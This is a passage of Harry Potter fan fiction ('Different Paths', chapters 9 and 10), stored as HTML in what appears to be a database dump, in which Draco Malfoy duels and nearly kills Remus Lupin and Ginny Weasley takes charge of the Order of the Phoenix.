crept\nupstairs.&nbsp; Finally, they located the\nroom their intelligence had reported as being Remus Lupin&#8217;s residence.&nbsp; Without a word, the Death Eaters crept into\nthe room.&nbsp; The leader of the Death\nEaters pointed his wand at the bed and whispered, <i>&#8220;Avada Kedavra.&#8221;</i>&nbsp; However, when the green light lighted up the\nroom, it revealed the bed to be empty.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Looking for me?&#8221;&nbsp; The Death Eaters turned around to find\nthemselves being stared down by Remus at the head of a whole legion of wizards\nand witches of the Order of the Phoenix.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What in the...&#8221; Horace\nexclaimed.&nbsp; Only one of the Death Eaters\nhad returned, covered with hexes and barely conscious.&nbsp; The remaining Death Eaters had been no doubt\nbeen turned over to the Ministry Hit Wizards for questioning.&nbsp; Voldemort was chuckling with amusement while\nHorace was completely perplexed.&nbsp; &#8220;Those\nDeath Eaters were my best assassins,&#8221; he exclaimed.&nbsp; &#8220;How could they have failed so miserably?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You were a fool to have\nunderestimated Remus Lupin,&#8221; said Draco.&nbsp;\n&#8220;He is one of the foremost experts on Defense against the Dark Arts in\nthe west.&nbsp; Furthermore, being a werewolf,\nhe is specifically attuned to the movements of the Dark Side.&nbsp; It is impossible to catch him off guard.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Horace was about to say more but\nVoldemort silenced him.&nbsp; Draco meanwhile\nwas reading a small note he had found in the robes of the hexed Death\nEater.&nbsp; Written in Remus&#8217;s neat handwriting\nwas the following:</p>\n\n<p>&nbsp;</p>\n\n<p><i>Hidden shack at Regents Park,\nnear Baker Street, 5:00AM.</i></p>\n\n<p>&nbsp;</p>\n\n<p>Draco stuffed the note into his\nrobe and pocket and said, &#8220;I&#8217;ll deal with Remus myself.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>5:00 AM the following morning,\nDraco Malfoy headed north from Baker Street and soon came upon Regents\nPark.&nbsp; Tucked away in a hidden corner of\nthe park, hidden away from muggles was a storage shack, used as a old hide out\nfor persecuted witches and wizards in the case of an anti-witchcraft hysteria\namongst muggles.&nbsp; Now however, it was to\nbe used for a secret duel to the death.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco opened the door to the\nshack and found Remus sitting cross-legged on the floor facing away from\nhim.&nbsp; He was dressed in the black and\nscarlet robes of the members of the Order of the Phoenix.&nbsp; Both the inside and the outside of the shack\nitself looked like the Shrieking Shack in Hogsmeade, dirty, shabby, and falling\napart.&nbsp; The only sources of light came\nfrom the dirty windows.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I told you Draco, that if you\never truly did cross over to the dark side I would crush you myself,&#8221; said\nRemus.&nbsp; &#8220;And now, that&#8217;s precisely what\nI&#8217;m going to do.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Silently, Draco pulled out his\nwand.&nbsp; &#8220;Who would&#8217;ve thought,&#8221; he said,\nhis voice and face completely void of emotion, &#8220;that the day when I had to kill\nmy own mentor would come?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N Did you like it?&nbsp; Please tell me that you liked it.&nbsp; Because I&#8217;d really like to know if you liked\nit.&nbsp; Tell me what you think about it as\nyou review.&nbsp; More and more action will\nbe coming in throughout the future chapters since I have a very clear vision of\nwhat I want to do with this fic.&nbsp; Next:\nthe Draco vs. Remus duel and the aftermath.</p>\n\n\n\n\n\n\n'),
	(33, 10, '\n\n\n\n<p><b>Title:</b> Different Paths (10)<br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.&nbsp; H/H and D/G.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, Studio Gallop, and other publishers. No money is being\nmade and no copyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> Originally, chapter 9 and 10 were one chapter.&nbsp; However, when chapter 9 started to go longer\nthan I expected, I decided to separate them into two chapters.&nbsp; I know you all would prefer longer chapters\nbut give me a break!&nbsp; I&#8217;m only human.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Chapter 10: Hell on Earth</b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Where are they?!&#8221;&nbsp; Hagrid and Arabella were startled as Ginny\nWeasley burst into the Leaky Cauldron.</p>\n\n<p>&nbsp;</p>\n\n<p>Arabella was startled by Ginny&#8217;s\nappearance: her red hair was in complete disarray and her skin was extremely\npale.&nbsp; Furthermore, she looked like she\nwas hyperventilating.</p>\n\n<p>&nbsp;</p>\n\n<p>During the previous night,\nHermione had patiently explained to Ginny everything that happened the previous\nyear during the Slytherin Revolts, how all of Draco&#8217;s friends had been called,\nand how it was rumored that Draco had made some frightening promise to those deceased\nfriends concerning Harry.&nbsp; Ginny had at\nfirst tried to deny that such an event couldn&#8217;t have changed Draco into a\npotential dark wizard but as soon as she had given it a little thought, she\nrealized just how blind to Draco&#8217;s changes she had been.&nbsp; Feeling sick in the stomach, Ginny had flown\nstraight back to the Leaky Cauldron ahead of Rona nd Hermione, intending to see\nRemus and find out if he knew where Draco was.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;W-where are who?&#8221; asked\nHagrid.&nbsp; Ginny glared at the two members\nat the Order, looking more frightening than a banshee.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Remus!&nbsp; And Draco!&nbsp;\nWhere are they?&nbsp; I know, you\nknow!&#8221;&nbsp; Somehow she knew that wherever\nRemus was, Draco was there as well.</p>\n\n<p>&nbsp;</p>\n\n<p>Hagrid nearly quelled from\nGinny&#8217;s glare but Arabella tried to amend the situation, &#8220;Ginny, Remus made us\npromise that no matter what, we will not tell you where they are...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;WHERE?!&#8221; Ginny yelled.&nbsp; There was no way anybody could deny anything\nat the look she gave the Order members.</p>\n\n<p>&nbsp;</p>\n\n<p>Arabella sighed, defeated.&nbsp; &#8220;Regents Park.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>As soon as Draco fired a curse\nat Remus, Remus sprang to his feet.&nbsp; He\nturned around and swung his wand outward.&nbsp;\nThe curse hit the wand as Remus swung it and was deflected away.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Deflector wards,&#8221; muttered\nDraco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course,&#8221; said Remus.&nbsp; &#8220;They can deflect all minor curses and if\ntimed correctly, even a few of the major ones.&nbsp;\nYou shouldn&#8217;t be surprised I can use a deflector ward considering I\ntaught you myself how to use it.&nbsp; For\nthat matter, I&#8217;m also the one who taught you how to use that curse you just\nfired.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Really,&#8221; said Draco.&nbsp; &#8220;Well why not continue our little lesson?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Believe me Draco, there is\nnothing you can throw at me that I can&#8217;t stop.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What makes you so sure?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The simple fact that I made\nyou, Draco Malfoy.&nbsp; Most of the spells\nand curses in your arsenal are spells and curses I myself taught you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Really,&#8221; said Draco still\ncompletely emotionless.&nbsp; &#8220;Well then, how\nabout this then?&nbsp; <i>Praestigae\nMultiplico.</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>As soon as Draco said the\nincantation, his form started to blur.&nbsp;\nSlowly, the blur of Draco&#8217;s\nbody divided into three blurs, and then into five blurs.&nbsp; Finally, the five blurs seemingly solidified\ninto five Draco Malfoys.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The multiple illusion spell,&#8221;\nmuttered Remus as the five Dracos slowly circled around him.&nbsp; &#8220;I suppose you&#8217;re going to silently encircle\nme, confuse me with your four illusions whereupon you attack me at the moment\nI&#8217;m least prepared?&#8221;&nbsp; Remus closed his\neyes and stood very still as the Draco&#8217;s continued to encircle him.&nbsp; Remus&#8217;s eyes suddenly flew open and he said,\n&#8220;Big mistake.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>With lightning fast reflexes\nRemus pranced toward one of the Draco&#8217;s, spun around and backhanded him on the\ncheek.&nbsp; The real Draco reeled back in\npain as the four illusions disappeared.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;ve forgotten that I&#8217;m the\none who taught you that spell as well.&nbsp;\nI know how to tell the difference between reality and illusion,&#8221; said\nRemus.&nbsp; &#8220;Give it up Draco, I know all of\nyour moves.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s eyes turned cold.&nbsp; &#8220;Not quite.&nbsp;\n<i>Magicus Ensis!&#8221;&nbsp; </i>A blue\nblade of light surrounded Draco&#8217;s wand and with it Draco slashed at Remus&#8217;s\nleft arm.&nbsp; Remus gritted his teeth in\npain as he backed up a little, clutching his bleeding left arm in his right\nhand.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s eyes were icy cold as he\npointed the blade of light at Remus.&nbsp;\n&#8220;You never taught me the Magical Sword spell, I learned it myself.&nbsp; You see Remus, during these past few months\nI&#8217;ve been engaging in a little unauthorized training out of your\nsupervision.&nbsp; Training that nearly\nbrought me to the very brink of death more than once.&nbsp; Believe me Remus no one is going to stop me from fulfilling my\npromise to the Slytherins to become the most powerful wizard ever.&nbsp; If I have to turn to the dark side to\nfulfill the promise so be it.&nbsp; Nobody is\ngoing to stop me Remus, not you, not Potter, no one!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now Horace, did you have\nanything to say?&#8221; said Voldemort as he settled into his throne in the main hall\nof his hideout.&nbsp; The main hall was a\nvast hall held by gothic style stone arches.&nbsp;\nTorches illuminated the walls brightly though the only decoration in the\nroom was a long gold trimmed scarlet carpet that led to Voldemort&#8217;s\nthrone.&nbsp; The throne itself was made in\nthe image of a golden cobra.&nbsp; Yasmin was\nstanding on the right side of the throne while the Dark Lord&#8217;s pet serpent\nNagini circled the throne, occasionally hissing at Horace.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, Horace had a complaint\nagainst you?&nbsp; That&#8217;s not good,&#8221; said\nYasmin with a smirk.&nbsp; Horace ignored\nher.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My lord, I must question your\nactions,&#8221; he said.&nbsp; &#8220;I do not understand\nwhy you are willing to ally ourselves with Draco Malfoy.&nbsp; He is nothing like his father, refusing to\naccept the dark mark like that.&nbsp;\nFurthermore, his very sanity appears to be hanging by a thread.&nbsp; He is dangerously unstable.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort laughed,&nbsp; &#8220;Why Horace, I thought you&#8217;ve realized that\nI myself am dangerously unstable and insane.&nbsp;\nI would&#8217;ve thought we all were.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Horace was about to say\nsomething but Voldemort raised his hand and silenced him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tell me Horace, do you believe\nin hell?&#8221; asked the Dark Lord.</p>\n\n<p>&nbsp;</p>\n\n<p>Horace was taken aback by the\nquestion.&nbsp; &#8220;Hell?&nbsp; No sir.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And why not?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The human body is nothing more\nthan a collection of cells and chemicals.&nbsp;\nWhen a body dies, all it does is become a pile of carbon.&#8221;&nbsp; Horace said all of this like a machine, completely\nvoid of any shred of emotion.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Spoken like the true logistic\nyou are,&#8221; said Voldemort as he stood up.&nbsp;\nHe started to walk over to Horace.&nbsp;\n&#8220;But you see my friend, I on the other hand do believe in hell.&nbsp; In fact I don&#8217;t just believe in hell, I have\nexperienced it myself.&nbsp; Here, let me\nshow you.&#8221;&nbsp; Slowly, he reached out\ntoward Horace.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The Magical Sword spell,&#8221; Remus\nmuttered.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It can&#8217;t be that surprising,&#8221;\nsaid Draco.&nbsp; He twirled his wand around,\nthe blade swishing through the air.&nbsp;\n&#8220;It&#8217;s a rather popular dueling spell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So you&#8217;ve picked up a few extra\nspells to add to your arsenal along the way,&#8221; said Remus.&nbsp; &#8220;That still doesn&#8217;t changed the fact that I\nmade you.&nbsp; For that, it&#8217;s my\nresponsibility to crush you.&nbsp; That&#8217;s the\nonly way I can prevent you from truly turning over to the Dark Side.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I will make one thing clear,&#8221;\nsaid Draco.&nbsp; &#8220;You are not leaving this\nduel alive.&nbsp; You sealed your fate the\ninstant you challenged me to this duel.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And you sealed yours the\ninstant you joined Voldemort.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t have time for\nchit-chat,&#8221; said Draco.&nbsp; &#8220;So, I&#8217;m afraid\nI&#8217;m going to have to end this here.&nbsp; <i>Praestigiae\nMultiplico.</i>&#8221;&nbsp; Once again Draco&#8217;s\nform blurred and divided into five figures.&nbsp;\nThe five Dracos once again started circling Remus.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;This is it Draco,&#8221; said\nRemus.&nbsp; &#8220;This is the final blow.&nbsp; One way or another, this duel ends now!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Horace gasped in pain as\nVoldemort&#8217;s grasped his head.&nbsp; The pain\ndidn&#8217;t come from the grasp but rather from the burning sensation that emanated\nfrom the touch of Voldemort&#8217;s skin on his own head.&nbsp; While it definitely was caused by magic, the smell of burning\nskin, the smoke, and the pain was very real.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You see, Horace,&#8221; said\nVoldemort.&nbsp; &#8220;I don&#8217;t just believe in\nhell, I have been there, here on this very Earth.&nbsp; I have gone through Hell itself and emerged more powerful than\none can possibly imagine.&nbsp; And I\nrealized that Hell itself is on Earth, that people by nature are dark.&nbsp; My trek through Hell taught me the truth of\nthis.&nbsp; This burning sensation you&#8217;re\nfeeling, on your skin right now is but a small portion of Hell.&nbsp; So, if people are dark by nature, than I\nwill pull away the illusion of so called good and show them the truth.&nbsp; If Hell truly exists on Earth, then I will\nexpose people to it, to the truth.&nbsp; If\nsome people, like the muggles or mudbloods are too weak to deal with the truth,\nthen let them perish.&nbsp; After all, there\nis no good, no evil, only power and those too weak to seek it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort released Horace from\nhis grasp.&nbsp; Horace fell to his knees\ngasping.&nbsp; However, though the burning\nhad been very real, Horace&#8217;s skin was completely unmarred.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You see Horace, Draco Malfoy is\na kindred spirit, one who believes that there truly is Hell on Earth.&nbsp; He&#8217;s seen the truth about Hell.&nbsp; That&#8217;s why I&#8217;m allying myself with him,\nbecause he can help me expose Hell on Earth.&nbsp;\nIt truly is a delightful experience.&#8221;&nbsp;\nVoldemort started pacing around in front of his lieutenant.&nbsp; &#8220;Scared Horace?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Scared?&#8221; said Horace.&nbsp; Abruptly he stood up, and the formerly\nemotionless man laughed.&nbsp; His formerly\nempty mechanical eyes glinted with dangerous flame and his formerly\nexpressionless mouth twisted into a smirk.&nbsp;\n&#8220;I am delighted my Lord,&#8221; he said with a new sense of excitement.&nbsp; &#8220;I am delighted to be able to join you in\nthis mission, to expose Hell on Earth.&nbsp;\nThere is nothing I would love to do more, than to join you in our\nmission.&nbsp; Now that you have allowed me\nto experience a little bit of Hell, let me say &#8216;Glory to Lord Voldemort&#8217;!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort laughed.&nbsp; &#8220;Come, my friend,&#8221; he said, &#8220;let us expose\nHell on Earth together.&nbsp; Let us join\ntogether truly now Horace, as brothers on a mission!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;To Hell on Earth!&#8221; they both\nexclaimed as they left the chamber.&nbsp; As\nYasmin followed after them, she smirked at Horace with approval.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;Well now,&#8217;</i> she thought, <i>&#8216;Looks like another man\nhas truly joined the Dark Side.&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>With a cry, Remus leapt at the\nreal Draco.&nbsp; He elbowed Draco in the\nface as hard as he could, smashed his fist onto Draco&#8217;s head with a downward\nblow, and pointed his wand at Draco&#8217;s face while shouting, <i>&#8220;Stupefy!&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Remus took a deep breath\nthinking he had won the duel.&nbsp; However,\nDraco suddenly looked up at Remus with a glare, his eyes growing even\nicier.&nbsp; &#8220;Wha...&#8221; Remus exclaimed as\nDraco started to spin around in a graceful motion.&nbsp; <i>&#8216;My God, he&#8217;s even more powerful than I first thought!&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>With a shudder, Remus instantly\nrecognized the spell Draco was using: <i>&#8220;Cyclonus Diffendo-Hex!&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny ran from Baker Street to\nRegents Park as fast as her feet could carry her.&nbsp; <i>&#8216;The man I love as a second father and the man I love with my\nheart are going to kill each other!&nbsp; I\nmust stop them!&#8217;</i> she thought.&nbsp; The\nfirst fundamental rule of wizard dueling prevented her from interfering with\nthe duel but perhaps she could convince Draco to call it off, if she could get\nthere in time.&nbsp; <i>&#8216;Please let me arrive\non time!&nbsp; Please don&#8217;t let anybody die!&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>She ran up the hidden path\nleading to the shack.&nbsp; With Herculean\nstrength, she tore the door open and found Draco and Remus inside facing each\nother.&nbsp; <i>&#8216;I made it...&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Remus&#8217;s body suddenly burst in a\nfountain of blood.&nbsp; Ginny looked with\nshock and horror as Remus crumpled to the ground in a bloody heap.&nbsp; &#8220;It is over,&#8221; said Draco, Remus&#8217;s blood on\nhis gray robes.&nbsp; He put his wand away\nand walked past Ginny.&nbsp; As he did so,\nGinny snapped out of her stupor.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny, don&#8217;t ever appear before\nme again.&#8221;&nbsp; With that Draco disappeared\nin the morning mist.&nbsp; Ginny sank to the\nground, her body frozen in shock and horror, and her heart broken.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;94 stitches, dozens of healing\ncharms,&#8221; muttered Arabella as she emerged from an upstairs room of the Leaky\nCauldron to face the other members of the Order of the Phoenix as well as\nHermione.&nbsp; &#8220;It&#8217;s a miracle that he&#8217;s\nalive.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Will he be all right?&#8221; asked\nHermione.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Remus will live, though he&#8217;ll\nprobably remain unconscious for a while,&#8221; said Arabella.&nbsp; &#8220;But that&#8217;s not what&#8217;s worrying me.&nbsp; The full moon is only about a week\naway.&nbsp; A werewolf transformation in his\ncurrent state could very well kill him.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>With a sigh, the order members\nand Hermione went downstairs.&nbsp; Down\nthere, Ron was busy trying to consul a near catatonic Ginny, seated in one of\nthe booths hidden in the back of the pub.&nbsp;\nSo far, he was having no success.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How is she?&#8221; asked Hermione.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron sighed gloomily.&nbsp; &#8220;I&#8217;ve never seen her like this before.&nbsp; I&#8217;m at a complete loss here.&#8221;&nbsp; He buried his face in his hands and gritted\nhis teeth.&nbsp; &#8220;Why did it have to be\nMalfoy she had to fall in love with?&#8221; he hissed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You just can&#8217;t help who you\nfall in love with,&#8221; said Hermione.&nbsp; &#8220;I\nknow from experience.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, but you fell in love with\nHarry.&nbsp; Ginny fell for Malfoy of all\npeople!&#8221; exclaimed Ron.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know,&#8221; said Hermione, a\nslight blush creeping on her face at the mention of Harry&#8217;s name.</p>\n\n<p>&nbsp;</p>\n\n<p>Just then, the entrance to\nDiagon Alley opened up and to everyone&#8217;s shock, Draco Malfoy walked into the\npub.&nbsp; &#8220;Where is Potter?&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron was the first one to snap\nout of his stupor.&nbsp; &#8220;You!&nbsp; You have a lot of nerve showing up here\nafter what you did!&nbsp; Well, I&#8217;m not letting\nyou harm my sister any more!&nbsp; You&#8217;re going\nto have to go through me to get to her.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco glared at Ron.&nbsp; &#8220;Tempting, Weasley, but neither of you are\nthe reason why I&#8217;m here.&nbsp; Now, where is\nPotter?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;s not here,&#8221; said Ron.&nbsp; &#8220;But you have no need to look for him.&nbsp; If you wait around he&#8217;ll come for you.&nbsp; And after what you&#8217;ve just done it&#8217;s not\ngoing to be a pretty sight when <b>he</b> finally finds you!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;ll come to me?&#8221; said Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He will, believe me!&#8221; hissed\nRon.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then I have no reason to stay\nhere.&nbsp; Tell him I&#8217;ll be waiting for him,\nso I can kill him.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is that all you want?&#8221; said\nHermione.&nbsp; &#8220;Fighting and killing\nHarry.&nbsp; Trust me Draco, the more you\nwield your wand for such dark purposes not only do you harm those around you,\nbut also you harm yourself.&nbsp; You&#8217;re\ndragging yourself further and further down into an abyss and unless you stop\nnow, you&#8217;ll never be able to climb back out.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If that&#8217;s what it takes to\nbecome the most powerful wizard ever, than so be it,&#8221; said Draco.&nbsp; &#8220;Tell Potter that I&#8217;ll be waiting for him at\nthe Dark Lord&#8217;s lair.&#8221;&nbsp; With a swish of\nhis robes, Draco left the pub.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny looked up when Draco had\nleft. She had been hidden from his line of view while he was there.&nbsp; Now, she stood up as if she were in a\ndaze.&nbsp; Hermione was the first one to notice\nthis.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny?&#8221; she said.&nbsp; Ginny didn&#8217;t seem to have heard her as she\nwalked up the stairs.&nbsp; The order members\nincluding Hermione and Ron hesitantly followed her up the stairs and into her\nroom.&nbsp; Ginny didn&#8217;t seem to have noticed\nthem following her because she started undressing.&nbsp; Hermione and Arabella shrieked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny!&nbsp; What are you doing?!&nbsp; There are boys in here!&#8221;&nbsp; Hermione exclaimed.&nbsp; She, Arabella, and the other women of the\norder turned to the men and kicked them out.&nbsp;\n&#8220;Out!&nbsp; Out!&nbsp; Out!&#8221; they shouted as they closed the door\nbehind themselves, leaving Ginny alone in her room.</p>\n\n<p>&nbsp;</p>\n\n<p>A few minutes later, Ginny\nemerged from the room.&nbsp; To the surprise\nof everyone present, she was now dressed in the scarlet and black uniform robes\nof the members of the Order of the Phoenix.</p>\n\n<p>&nbsp;</p>\n\n<p>Before anybody could say\nanything, Ginny shouted in a clear authoritarian voice, her arms crossed over\nher chest, &#8220;All right, listen up!&#8221;&nbsp; That\nimmediately got everyone&#8217;s attention.&nbsp; Ginny\nnodded and said, &#8220;As of now I&#8217;m taking charge of this branch of the Order of\nthe Phoenix.&nbsp; I know that technically\nI&#8217;m not supposed to be doing this but since Remus trained me personally in\nadvanced Defense against the Dark Arts so I&#8217;m most likely the most qualified\nperson here.&nbsp; And I&#8217;m declaring Ron and\nHermione as honorary members as well.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The order members started\nmurmuring amongst themselves.&nbsp; Ginny\ncontinued speaking, &#8220;Our first business is to gather all members here at the\nLeaky Cauldron.&nbsp; We are going to go to\nwar against You-Know... Voldemort!&nbsp; And\nwe&#8217;re also bringing Draco Malfoy down as well!&#8221;&nbsp; When she said this last sentence, her eyes shown with a glint of\ndetermination.&nbsp; &#8220;Now do I make myself\nclear?!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny spoke with so much\nauthority and determination that the order members instantly said, &#8220;Yes, sir!&#8221;\nwithout hesitation.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Meanwhile, at the Ministry of\nMagic in the Department of Magical Law Enforcement, Severus Snape was brewing a\npotion over his potions set in his office.&nbsp;\nIn fact, his potions set looked a lot like a chemistry set with the\nexception of cauldrons replacing beakers.&nbsp;\nJust as he was putting on the finishing touches on his potion, the door\nswung open.</p>\n\n<p>&nbsp;</p>\n\n<p>An old wizard with shaggy gray\nhair, scars all over his face, a bizarre magical glass eye, and a wooden leg\nentered the office.&nbsp; He was Alastar &#8220;Mad-Eye&#8221;\nMoody, head of the auror division.&nbsp;\n&#8220;You&#8217;re not going to believe this Snape,&#8221; he said as he tossed a report\nonto Snape&#8217;s desk.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape quickly read the\nparchment.&nbsp; As soon as he had finished,\nhe slammed it onto his desk in anger.&nbsp;\n&#8220;50 hit wizards murdered in a single night by one dark wizard,&#8221; 